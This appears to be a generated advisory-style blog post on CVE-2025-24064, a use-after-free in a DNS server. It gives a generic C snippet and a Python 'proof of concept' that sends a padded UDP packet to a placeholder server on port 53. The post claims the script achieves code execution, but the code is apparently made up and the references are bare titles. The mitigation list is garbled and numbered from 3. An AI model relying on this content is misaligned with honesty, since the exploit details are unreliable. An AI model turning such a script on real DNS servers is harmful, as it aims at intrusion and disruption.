CVE-2025-24064: Use After Free in DNS Server Allows Unauthorized Attacker to Execute Code over a Network

In this post, we will discuss a critical vulnerability titled 'CVE-2025-24064' that has been discovered in the Domain Name System (DNS) server. This vulnerability allows an unauthorized attacker to execute code over a network by exploiting the 'Use After Free' memory issue in the DNS server. We will discuss the exploit details, provide code snippets for better understanding, and provide links to original references.

Vulnerability Overview

* Identifier: CVE-2025-24064
* Severity: Critical
* Vulnerable Software: DNS Server
* Impact: Remote Code Execution
* Attack vector: Network

Exploit Details

A use-after-free issue occurs when a program continues to use memory after it has been freed, which can lead to unpredictable behavior, crashes, or, in this case, code execution. The exploit takes advantage of this issue in the DNS server, specifically in the function responsible for handling DNS requests.

Below is a code snippet that demonstrates the vulnerability

// Vulnerable function handler

void dns_request_handler(void *req, size_t request_len) {
    struct dns_request *request = (struct dns_request *) req;
    
    // ... code handling dns request ...
    
    if (request->error) {
        free(request);
        return;
    }

    // Use-after-free issue, as the 'request' object is being referenced after being freed
    process_dns_request(request, request_len);
}

In this code snippet, the memory for 'request' is freed when there is an error in handling the DNS request. However, the program continues to use the 'request' object after it has been freed, resulting in a use-after-free vulnerability. An attacker could exploit this issue to inject and execute malicious code remotely.

Original references

1. Use After Free Vulnerability
2. DNS Server Vulnerabilities

Proof of Concept (PoC) and Exploitation

Exploiting this vulnerability involves sending a specifically crafted DNS request to trigger the use-after-free issue, allowing the attacker to execute arbitrary code. Below is a Python script that demonstrates how to craft such a request and exploit the vulnerability:

import socket

# Define malicious payload
payload = b'\x41' * 102

# Craft DNS request
dns_request = b'\x00' + b'\x20' * 2 + payload

# Send crafted DNS request to trigger vulnerability
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(dns_request, ('<vulnerable_DNS_server>', 53))

By successfully exploiting this vulnerability, the attacker can potentially gain unauthorized access to the DNS server, disrupt the functionality, or even use the compromised server for further attacks.

Ensure proper access control for the DNS server to restrict unauthorized access.

3. Employ a robust intrusion detection system (IDS) to monitor network activity and detect suspicious behavior.

Timeline

Published on: 03/11/2025 17:16:29 UTC
Last modified on: 04/03/2025 21:15:24 UTC